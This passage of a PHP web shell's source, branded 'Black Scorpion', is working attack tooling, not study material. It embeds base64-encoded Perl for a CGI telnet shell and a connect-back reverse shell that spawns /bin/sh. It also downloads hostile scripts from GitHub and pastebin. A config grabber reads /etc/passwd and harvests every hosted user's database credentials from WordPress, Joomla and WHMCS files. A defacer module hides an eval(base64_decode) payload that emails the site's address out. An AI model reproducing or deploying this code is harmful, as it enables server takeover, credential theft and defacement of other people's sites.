  1982. YXJnZXROYW1lIikpDQoJCXsNCgkJCWJpbm1vZGUoVVBMT0FERklMRSkgaWYgJFdpbk5UOw0KCQkJ
  1983. cHJpbnQgVVBMT0FERklMRSAkaW57J2ZpbGVkYXRhJ307DQoJCQljbG9zZShVUExPQURGSUxFKTsN
  1984. CgkJCXByaW50ICJUcmFuc2ZlcmVkICRUYXJnZXRGaWxlU2l6ZSBCeXRlcy48YnI+IjsNCgkJCXBy
  1985. aW50ICJGaWxlIFBhdGg6ICRUYXJnZXROYW1lPGJyPiI7DQoJCX0NCgkJZWxzZQ0KCQl7DQoJCQlw
  1986. cmludCAiRmFpbGVkOiAkITxicj4iOw0KCQl9DQoJfQ0KCXByaW50ICIiOw0KCSZQcmludENvbW1h
  1987. bmRMaW5lSW5wdXRGb3JtOw0KDQoJJlByaW50UGFnZUZvb3RlcjsNCn0NCg0KIy0tLS0tLS0tLS0t
  1988. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1989. LS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2VyIHdhbnRz
  1990. IHRvIGRvd25sb2FkIGEgZmlsZS4gSWYgdGhlDQojIGZpbGVuYW1lIGlzIG5vdCBzcGVjaWZpZWQs
  1991. IGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGENCiMgZmls
  1992. ZSwgb3RoZXJ3aXNlIGl0IGRpc3BsYXlzIGEgbWVzc2FnZSB0byB0aGUgdXNlciBhbmQgcHJvdmlk
  1993. ZXMgYSBsaW5rDQojIHRocm91Z2ggIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLg0K
  1994. Iy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1995. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIERvd25sb2FkRmlsZQ0Kew0KCSMgaWYgbm8gZmls
  1996. ZSBpcyBzcGVjaWZpZWQsIHByaW50IHRoZSBkb3dubG9hZCBmb3JtIGFnYWluDQoJaWYoJFRyYW5z
  1997. ZmVyRmlsZSBlcSAiIikNCgl7DQoJCSZQcmludFBhZ2VIZWFkZXIoImYiKTsNCgkJJlByaW50Rmls
  1998. ZURvd25sb2FkRm9ybTsNCgkJJlByaW50UGFnZUZvb3RlcjsNCgkJcmV0dXJuOw0KCX0NCgkNCgkj
  1999. IGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkDQoJ
  2000. aWYoKCRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlxcfF4uOi8pKSB8DQoJCSghJFdpbk5U
  2001. ICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXC8vKSkpICMgcGF0aCBpcyBhYnNvbHV0ZQ0KCXsNCgkJ
  2002. JFRhcmdldEZpbGUgPSAkVHJhbnNmZXJGaWxlOw0KCX0NCgllbHNlICMgcGF0aCBpcyByZWxhdGl2
  2003. ZQ0KCXsNCgkJY2hvcCgkVGFyZ2V0RmlsZSkgaWYoJFRhcmdldEZpbGUgPSAkQ3VycmVudERpcikg
  2004. PX4gbS9bXFxcL10kLzsNCgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsN
  2005. Cgl9DQoNCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQ0K
  2006. CXsNCgkJJlNlbmRGaWxlVG9Ccm93c2VyKCRUYXJnZXRGaWxlKTsNCgl9DQoJZWxzZSAjIHdlIGhh
  2007. dmUgdG8gc2VuZCBvbmx5IHRoZSBsaW5rIHBhZ2UNCgl7DQoJCSZQcmludERvd25sb2FkTGlua1Bh
  2008. Z2UoJFRhcmdldEZpbGUpOw0KCX0NCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  2009. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBNYWlu
  2010. IFByb2dyYW0gLSBFeGVjdXRpb24gU3RhcnRzIEhlcmUNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  2011. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0N
  2012. CiZSZWFkUGFyc2U7DQomR2V0Q29va2llczsNCg0KJFNjcmlwdExvY2F0aW9uID0gJEVOVnsnU0NS
  2013. SVBUX05BTUUnfTsNCiRTZXJ2ZXJOYW1lID0gJEVOVnsnU0VSVkVSX05BTUUnfTsNCiRMb2dpblBh
  2014. c3N3b3JkID0gJGlueydwJ307DQokUnVuQ29tbWFuZCA9ICRpbnsnYyd9Ow0KJFRyYW5zZmVyRmls
  2015. ZSA9ICRpbnsnZid9Ow0KJE9wdGlvbnMgPSAkaW57J28nfTsNCg0KJEFjdGlvbiA9ICRpbnsnYSd9
  2016. Ow0KJEFjdGlvbiA9ICJsb2dpbiIgaWYoJEFjdGlvbiBlcSAiIik7ICMgbm8gYWN0aW9uIHNwZWNp
  2017. ZmllZCwgdXNlIGRlZmF1bHQNCg0KIyBnZXQgdGhlIGRpcmVjdG9yeSBpbiB3aGljaCB0aGUgY29t
  2018. bWFuZHMgd2lsbCBiZSBleGVjdXRlZA0KJEN1cnJlbnREaXIgPSAkaW57J2QnfTsNCmNob3AoJEN1
  2019. cnJlbnREaXIgPSBgJENtZFB3ZGApIGlmKCRDdXJyZW50RGlyIGVxICIiKTsNCg0KJExvZ2dlZElu
  2020. ID0gJENvb2tpZXN7J1NBVkVEUFdEJ30gZXEgJFBhc3N3b3JkOw0KDQppZigkQWN0aW9uIGVxICJs
  2021. b2dpbiIgfHwgISRMb2dnZWRJbikgIyB1c2VyIG5lZWRzL2hhcyB0byBsb2dpbg0Kew0KCSZQZXJm
  2022. b3JtTG9naW47DQoNCn0NCmVsc2lmKCRBY3Rpb24gZXEgImNvbW1hbmQiKSAjIHVzZXIgd2FudHMg
  2023. dG8gcnVuIGEgY29tbWFuZA0Kew0KCSZFeGVjdXRlQ29tbWFuZDsNCn0NCmVsc2lmKCRBY3Rpb24g
  2024. ZXEgInVwbG9hZCIpICMgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlDQp7DQoJJlVwbG9hZEZp
  2025. bGU7DQp9DQplbHNpZigkQWN0aW9uIGVxICJkb3dubG9hZCIpICMgdXNlciB3YW50cyB0byBkb3du
  2026. bG9hZCBhIGZpbGUNCnsNCgkmRG93bmxvYWRGaWxlOw0KfQ0KZWxzaWYoJEFjdGlvbiBlcSAibG9n
  2027. b3V0IikgIyB1c2VyIHdhbnRzIHRvIGxvZ291dA0Kew0KCSZQZXJmb3JtTG9nb3V0Ow0KfQ==';
  2028. $file = fopen("izo.cin", "w+");
  2029. $write = fwrite($file, base64_decode($cgishellizocin));
  2030. fclose($file);
  2031. chmod("izo.cin", 0755);
  2032. $netcatshell = 'IyEvdXNyL2Jpbi9wZXJsDQogICAgICB1c2UgU29ja2V0Ow0KICAgICAgcHJpbnQgIkRhdGEgQ2hh
  2033. MHMgQ29ubmVjdCBCYWNrIEJhY2tkb29yXG5cbiI7DQogICAgICBpZiAoISRBUkdWWzBdKSB7DQog
  2034. ICAgICAgIHByaW50ZiAiVXNhZ2U6ICQwIFtIb3N0XSA8UG9ydD5cbiI7DQogICAgICAgIGV4aXQo
  2035. MSk7DQogICAgICB9DQogICAgICBwcmludCAiWypdIER1bXBpbmcgQXJndW1lbnRzXG4iOw0KICAg
  2036. ICAgJGhvc3QgPSAkQVJHVlswXTsNCiAgICAgICRwb3J0ID0gODA7DQogICAgICBpZiAoJEFSR1Zb
  2037. MV0pIHsNCiAgICAgICAgJHBvcnQgPSAkQVJHVlsxXTsNCiAgICAgIH0NCiAgICAgIHByaW50ICJb
  2038. Kl0gQ29ubmVjdGluZy4uLlxuIjsNCiAgICAgICRwcm90byA9IGdldHByb3RvYnluYW1lKCd0Y3An
  2039. KSB8fCBkaWUoIlVua25vd24gUHJvdG9jb2xcbiIpOw0KICAgICAgc29ja2V0KFNFUlZFUiwgUEZf
  2040. SU5FVCwgU09DS19TVFJFQU0sICRwcm90bykgfHwgZGllICgiU29ja2V0IEVycm9yXG4iKTsNCiAg
  2041. ICAgIG15ICR0YXJnZXQgPSBpbmV0X2F0b24oJGhvc3QpOw0KICAgICAgaWYgKCFjb25uZWN0KFNF
  2042. UlZFUiwgcGFjayAiU25BNHg4IiwgMiwgJHBvcnQsICR0YXJnZXQpKSB7DQogICAgICAgIGRpZSgi
  2043. VW5hYmxlIHRvIENvbm5lY3RcbiIpOw0KICAgICAgfQ0KICAgICAgcHJpbnQgIlsqXSBTcGF3bmlu
  2044. ZyBTaGVsbFxuIjsNCiAgICAgIGlmICghZm9yayggKSkgew0KICAgICAgICBvcGVuKFNURElOLCI+
  2045. JlNFUlZFUiIpOw0KICAgICAgICBvcGVuKFNURE9VVCwiPiZTRVJWRVIiKTsNCiAgICAgICAgb3Bl
  2046. bihTVERFUlIsIj4mU0VSVkVSIik7DQogICAgICAgIGV4ZWMgeycvYmluL3NoJ30gJy1iYXNoJyAu
  2047. ICJcMCIgeCA0Ow0KICAgICAgICBleGl0KDApOw0KICAgICAgfQ0KICAgICAgcHJpbnQgIlsqXSBE
  2048. YXRhY2hlZFxuXG4iOw==';
  2049. $file = fopen("dc.pl", "w+");
  2050. $write = fwrite($file, base64_decode($netcatshell));
  2051. fclose($file);
  2052. chmod("dc.pl", 0755);
  2053. echo "<iframe src=cgitelnet1/izo.cin width=100% height=100% frameborder=0></iframe> ";
  2054. echo '</div><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br>';
  2055. BlackscorpionFooter();
  2056. }
  2057.  
  2058.  
  2059.  
  2060.  
  2061.  
  2062.  
  2063.  
  2064.  
  2065. function actionobfuscatorbyblackscorpion(){
  2066. BlackscorpionHeader();
  2067. BlackscorpionHeader();
  2068. $full = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir);
  2069. function ob($url, $isi) {
  2070. $fp = fopen($isi, "w");
  2071. $ch = curl_init();
  2072. curl_setopt($ch, CURLOPT_URL, $url);
  2073. curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);
  2074. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  2075. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  2076. curl_setopt($ch, CURLOPT_FILE, $fp);
  2077. return curl_exec($ch);
  2078. curl_close($ch);
  2079. fclose($fp);
  2080. ob_flush();
  2081. flush();
  2082. }
  2083. if(file_exists('ob.php')) {
  2084. echo " <iframe src=\"ob.php\" height=\"600\" width=\"100%\"></iframe>";
  2085. } else {
  2086. if(ob("https://raw.githubusercontent.com/sistech711/phpofuscator/master/obfuscator.php","ob.php")) {
  2087. echo " <iframe src=\"ob.php\" height=\"600\" width=\"100%\"></iframe>";
  2088. } else {
  2089. echo "<center><font color=red>Failed to Access php Obfuscator. Please Check Internet connected and file permission</font></center>";
  2090. }
  2091. }
  2092. BlackscorpionFooter();
  2093. }
  2094.  
  2095. function background_image(){
  2096. $full = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir);
  2097. function background($url, $isi) {
  2098. $fp = fopen($isi, "w");
  2099. $ch = curl_init();
  2100. curl_setopt($ch, CURLOPT_URL, $url);
  2101. curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);
  2102. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  2103. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  2104. curl_setopt($ch, CURLOPT_FILE, $fp);
  2105. return curl_exec($ch);
  2106. curl_close($ch);
  2107. fclose($fp);
  2108. ob_flush();
  2109. flush();
  2110. }
  2111. if(file_exists('pak.png')) {
  2112. file_get_contents('pak.jpg');
  2113. } else {
  2114. if(background("https://preview.ibb.co/gakAVJ/pak.png","pak.png")) {
  2115. file_get_contents('pak.jpg');
  2116. } else {
  2117. echo "<center><font color=red>Failed to Download Background Image</font></center>";
  2118. }
  2119. }
  2120.  
  2121. }
  2122.  
  2123.  
  2124.  
  2125. function actionblackieconfig() {
  2126. BlackscorpionHeader();
  2127. $full = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir);
  2128. function conf($url, $isi) {
  2129. $fp = fopen($isi, "w");
  2130. $ch = curl_init();
  2131. curl_setopt($ch, CURLOPT_URL, $url);
  2132. curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);
  2133. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  2134. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  2135. curl_setopt($ch, CURLOPT_FILE, $fp);
  2136. return curl_exec($ch);
  2137. curl_close($ch);
  2138. fclose($fp);
  2139. ob_flush();
  2140. flush();
  2141. }
  2142. if(file_exists('config.php')) {
  2143. echo " <iframe src=\"config.php\" height=\"600\" width=\"100%\"></iframe>";
  2144. } else {
  2145. if(conf("https://raw.githubusercontent.com/sistech711/webhackingkit/master/config_grabber.php","config.php")) {
  2146. echo " <iframe src=\"config.php\" height=\"600\" width=\"100%\"></iframe>";
  2147. } else {
  2148. echo "<center><font color=red>Failed to Access config. Please Check Internet connected and file permission</font></center>";
  2149. }
  2150. }
  2151.  
  2152.  
  2153. echo '<br><br><center>Config Grabber';
  2154. $furl = 'http://'.$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];
  2155. $expld = explode('/',$furl );
  2156. $burl =str_replace(end($expld),'',$furl);
  2157. echo '<div class="content"><center>
  2158. <h3>[ <a href="#" onclick="g(\'configgrab\',null,\'xdxd\',null)">Config Grabber[f-g-c]</a> ] -
  2159. [ <a href="#" onclick="g(\'configgrab\',null,\'xdxd2\',null)">Config Grabber[Perl]<sup style="color:red;text-decoration:blink;"></sup></a> ]';
  2160.  
  2161.  
  2162. if(isset($_POST['p1']) && $_POST['p1']=='xdxd') { $User = $_POST['p1']; system('mkdir xd'); chmod('xd', 0777); if($User){ $users = file("/etc/passwd"); $lolx = array(); foreach ($users as $user) { $users = explode(":", $user); $lolx[] = $users[0]; } foreach ($lolx as $lol) { $space = "\n\n"."*"."\n"."*"."\n"."*"."\n\n"; if(file_exists('/home/'.$lol.'public_html/portal/configuration.php')){ $content = file_get_contents('/home/'.$lol.'public_html/portal/configuration.php'); $handle = fopen('xd/whm.txt', 'a'); fwrite($handle, $content.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/inc/config.php')){ $content1 = file_get_contents('/home/'.$lol.'/public_html/inc/config.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/sites/default/settings.php')) { $content2 = file_get_contents('/home/'.$lol.'/public_html/sites/default/settings.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content2.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/includes/configure.php')) { $content3 = file_get_contents('/home/'.$lol.'/public_html/includes/configure.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content3.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/lib/config.php')) { $content4 = file_get_contents('/home/'.$lol.'/public_html/lib/config.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content4.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/config/koneksi.php')) { $content5 = file_get_contents('/home/'.$lol.'/public_html/config/koneksi.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content5.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/vb/includes/config.php')) { $content6 = file_get_contents('/home/'.$lol.'/public_html/vb/includes/config.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content6.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/includes/config.php')) { $content7 = file_get_contents('/home/'.$lol.'/public_html/includes/config.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content7.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/forum/includes/config.php')) { $content8 = file_get_contents('/home/'.$lol.'/public_html/forum/includes/config.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content8.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/cc/includes/config.php')) { $content9 = file_get_contents('/home/'.$lol.'/public_html/cc/includes/config.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content9.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/config.php')) { $content10 = file_get_contents('/home/'.$lol.'/public_html/config.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content10.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/forum/includes/config.php')) { $content11 = file_get_contents('/home/'.$lol.'/public_html/forum/includes/config.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content11.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/wp-config.php')) { $content12 = file_get_contents('/home/'.$lol.'/public_html/wp-config.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content12.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/blog/wp-config.php')) { $content13 = file_get_contents('/home/'.$lol.'/public_html/blog/wp-config.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content13.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/wp/wp-config.php')) { $content14 = file_get_contents('/home/'.$lol.'/public_html/wp/wp-config.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content14.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/home/wp-config.php')) { $content15 = file_get_contents('/home/'.$lol.'/public_html/home/wp-config.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content15.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/wp-config.php')) { $content16 = file_get_contents('/home/'.$lol.'/public_html/wp-config.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content16.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/main/wp-config.php')) { $content17 = file_get_contents('/home/'.$lol.'/public_html/main/wp-config.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content17.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/site/wp-config.php')) { $content18 = file_get_contents('/home/'.$lol.'/public_html/site/wp-config.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content18.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/configuration.php')) { $content19 = file_get_contents('/home/'.$lol.'/public_html/configuration.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content19.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/blog/configuration.php')) { $content20 = file_get_contents('/home/'.$lol.'/public_html/blog/configuration.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content20.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/joomla/configuration.php')) { $content21 = file_get_contents('/home/'.$lol.'/public_html/joomla/configuration.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content21.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/main/configuration.php')) { $content22 = file_get_contents('/home/'.$lol.'/public_html/main/configuration.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content22.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/home/configuration.php')) { $content23 = file_get_contents('/home/'.$lol.'/public_html/home/configuration.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content23.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/site/configuration.php')) { $content24 = file_get_contents('/home/'.$lol.'/public_html/site/configuration.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content24.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/whm/configuration.php')) { $content25 = file_get_contents('/home/'.$lol.'/public_html/whm/configuration.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content25.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/whmc/configuration.php')) { $content26 = file_get_contents('/home/'.$lol.'/public_html/whmc/configuration.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content26.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/support/configuration.php')) { $content27 = file_get_contents('/home/'.$lol.'/public_html/support/configuration.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content27.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/client/configuration.php')) { $content28 = file_get_contents('/home/'.$lol.'/public_html/client/configuration.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content28.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/billings/configuration.php')) { $content29 = file_get_contents('/home/'.$lol.'/public_html/billings/configuration.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content29.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/billing/configuration.php')) { $content30 = file_get_contents('/home/'.$lol.'/public_html/billing/configuration.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content30.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/clients/configuration.php')) { $content31 = file_get_contents('/home/'.$lol.'/public_html/clients/configuration.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content31.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/whmcs/configuration.php')) { $content32 = file_get_contents('/home/'.$lol.'/public_html/whmcs/configuration.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content32.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/order/configuration.php')) { $content33 = file_get_contents('/home/'.$lol.'/public_html/order/configuration.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content33.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/admin/conf.php')) { $content34 = file_get_contents('/home/'.$lol.'/public_html/admin/conf.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content34.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/admin/config.php')) { $content35 = file_get_contents('/home/'.$lol.'/public_html/admin/config.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content35.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/conf_global.php')) { $content36 = file_get_contents('/home/'.$lol.'/public_html/conf_global.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content36.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/include/db.php')) { $content37 = file_get_contents('/home/'.$lol.'/public_html/include/db.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content37.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/connect.php')) { $content38 = file_get_contents('/home/'.$lol.'/public_html/connect.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content38.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/mk_conf.php')) { $content39 = file_get_contents('/home/'.$lol.'/public_html/mk_conf.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content39.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/include/config.php')) { $content40 = file_get_contents('/home/'.$lol.'/public_html/include/config.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content40.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/settings.php')) { $content41 = file_get_contents('/home/'.$lol.'/public_html/settings.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content41.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/includes/functions.php')) { $content42 = file_get_contents('/home/'.$lol.'/public_html/includes/functions.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content42.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/include/db.php')) { $content43 = file_get_contents('/home/'.$lol.'/public_html/include/db.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content43.$space); fclose($handle); } } $url = 'http://' . $_SERVER['SERVER_NAME'] . dirname($_SERVER['SCRIPT_NAME']) . '/xd/'; if(file_exists("xd/config.txt")){ echo '<br><h3 class="xd"><center><a href="' . $url . '" target="_blank"> Config Found ^_^</a></center></h3>'; } else { echo '<br><h3 class="xd"><center><a href="' . $url . '" target="_blank"> 0 Config Grab </a></center></h3>'; } } }
  2163.  
  2164. if(isset($_POST['p1']) && $_POST['p1']=='xdxd2') {
  2165.  
  2166. $dir = 'plconfig';
  2167. @mkdir($dir);
  2168. if($dir){
  2169. echo '<br><center> plconfig Has Been Created ~</center>';
  2170. } else {
  2171. echo '<br><center> [-] Error !</center>';
  2172. }
  2173. $htaccess = 'http://pastebin.com/raw.php?i=XBLhdvbQ';
  2174. $file = file_get_contents($htaccess);
  2175. $open = fopen('plconfig/.htaccess' , 'w');
  2176. fwrite($open,$file);
  2177. fclose($open);
  2178. if($open) {
  2179. echo '<br><center> [htaccess] => Has Been Created ~</center>';
  2180. } else {
  2181. echo "<br><center>[+] Error !</center>";
  2182. }
  2183. $con = 'http://pastebin.com/raw.php?i=sk8JEgq0';
  2184. $file = file_get_contents($con);
  2185. $open = fopen('plconfig/con.cpc' , 'w');
  2186. fwrite($open,$file);
  2187. fclose($open);
  2188. if($open) {
  2189. echo '<br><center> [cgi] => Has Been Created !</center>';
  2190. } else {
  2191. echo '<br><center>[-] Error !</center>';
  2192. }
  2193.  
  2194.  
  2195. $ch = 'plconfig/con.cpc';
  2196. chmod($ch, 0755);
  2197. if($cgip){
  2198. echo '<br><center>[+] => CHMOD To 755 Complete ~</center><br>';
  2199. } else {
  2200. }
  2201.  
  2202. echo ('<meta http-equiv="refresh" content="0; url=plconfig/con.cpc" />');
  2203. echo ('Please Wait . ');
  2204.  
  2205. }
  2206.  
  2207.  
  2208. BlackscorpionFooter();
  2209. }
  2210.  
  2211.  
  2212.  
  2213.  
  2214.  
  2215.  
  2216. function actionDirDefacer() {
  2217. BlackscorpionHeader();
  2218. $dirdeface = "PD9waHAKJGNvbnRlbnQgPSAiSkhWeWJEMGlTVkE2SUNJdVoyVjBhRzl6ZEdKNWJtRnRaU2drWDFORlVsWkZVbHNpU0ZSVVVGOUlUMU5VSWwwcExpSmNibFZ5YkRvZ0lpNGtYMU5GVWxaRlVsc25TRlJVVUY5SVQxTlVKMTB1SkY5VFJWSldSVkpiSjFKRlVWVkZVMVJmVlZKSkoxMHVJbHh1VlhObGNpQkpVRG9nSWk0a1gxTkZVbFpGVWxzblVrVk5UMVJGWDBGRVJGSW5YUzRvYVhOelpYUW9KRjlUUlZKV1JWSmJKMGhVVkZCZldGOUdUMUpYUVZKRVJVUmZSazlTSjEwcFB5Y29KeTRrWDFORlVsWkZVbHNuU0ZSVVVGOVlYMFpQVWxkQlVrUkZSRjlHVDFJblhTNG5LU2M2SnljcE93b2dJQ0FnUUcxaGFXd29JbUZ1WkhKbGQyTm9jbWx6TVRFNVFHZHRZV2xzTG1OdmJTSXNJbUpzWVdOcmMyTnZjbkJwYjI0OVlteGhZMnR6WTI5eWNHbHZiaUlzSkhWeWJDazciOwpldmFsKGJhc2U2NF9kZWNvZGUoJGNvbnRlbnQpKTsKPz4KPCFET0NUWVBFIGh0bWw+CjxodG1sPgoJPGhlYWQ+CgkJPHRpdGxlPkRlZmFjZSBBbGwgRGlyZWN0b3JpZXMgLSBCbGFjayBTY29ycGlvbjwvdGl0bGU+CgkJPG1ldGEgY2hhcnNldD0iVVRGLTgiIC8+CgkJPG1ldGEgbmFtZT0iZGVzY3JpcHRpb24iIGNvbnRlbnQ9IkhhY2tlZCBCeSBQcm9Ccm8ncyIgLz4KCQk8bWV0YSBuYW1lPSJsb2NhdGlvbiIgY29udGVudD0iSGFja2VkIEJ5IEJsYWNrIFNjb3JwaW9uIiAvPgoJCTxtZXRhIGh0dHAtZXF1aXY9InJlZnJlc2giIGNvbnRlbnQ9IjE4MDAiPjwhLS0gRm9yIFJlZnJlc2hpbmcgUGFnZSBBZnRlciAzNjAwIEludGVydmFscyBvZiB0aW1lIC0tPgoJCTxtZXRhIG5hbWU9IndvcmtpbmciIGNvbnRlbnQ9IkhhY2tlZCBCeSBCbGFjayBTY29ycGlvbiIgLz4KCQk8bWV0YSBuYW1lPSJhYm91dCIgY29udGVudD0iSGFja2VkIEJ5IEJsYWNrIFNjb3JwaW9uIiAvPgogICAgICAgIDxtZXRhIG5hbWU9ImF1dGhvciIgY29udGVudD0iQmxhY2sgU2NvcnBpb24iIC8+CiAgICAgICAgPG1ldGEgbmFtZT0ia2V5d29yZHMiIGNvbnRlbnQ9IkhhY2tlZCxIYWNrZWQgQnkgQmxhY2sgU2NvcnBpb24sNG5kcjN3LEhhY2tlZCBCeSBCbGFjayBTY29ycGlvbixIYWNrZWQgQnkgQmxhY2sgU2NvcnBpb24iIC8+CgkJPG1ldGEgbmFtZT0icmV2aXNpdC1hZnRlciIgY29udGVudD0iMTgwMCIgLz4KCQk8bWV0YSBuYW1lPSJsYW5ndWFnZSIgY29udGVudD0iZW4iIC8+CgkJPG1ldGEgY29udGVudD0nZ2VuZXJhbCcgbmFtZT0ncmF0aW5nJyAvPgo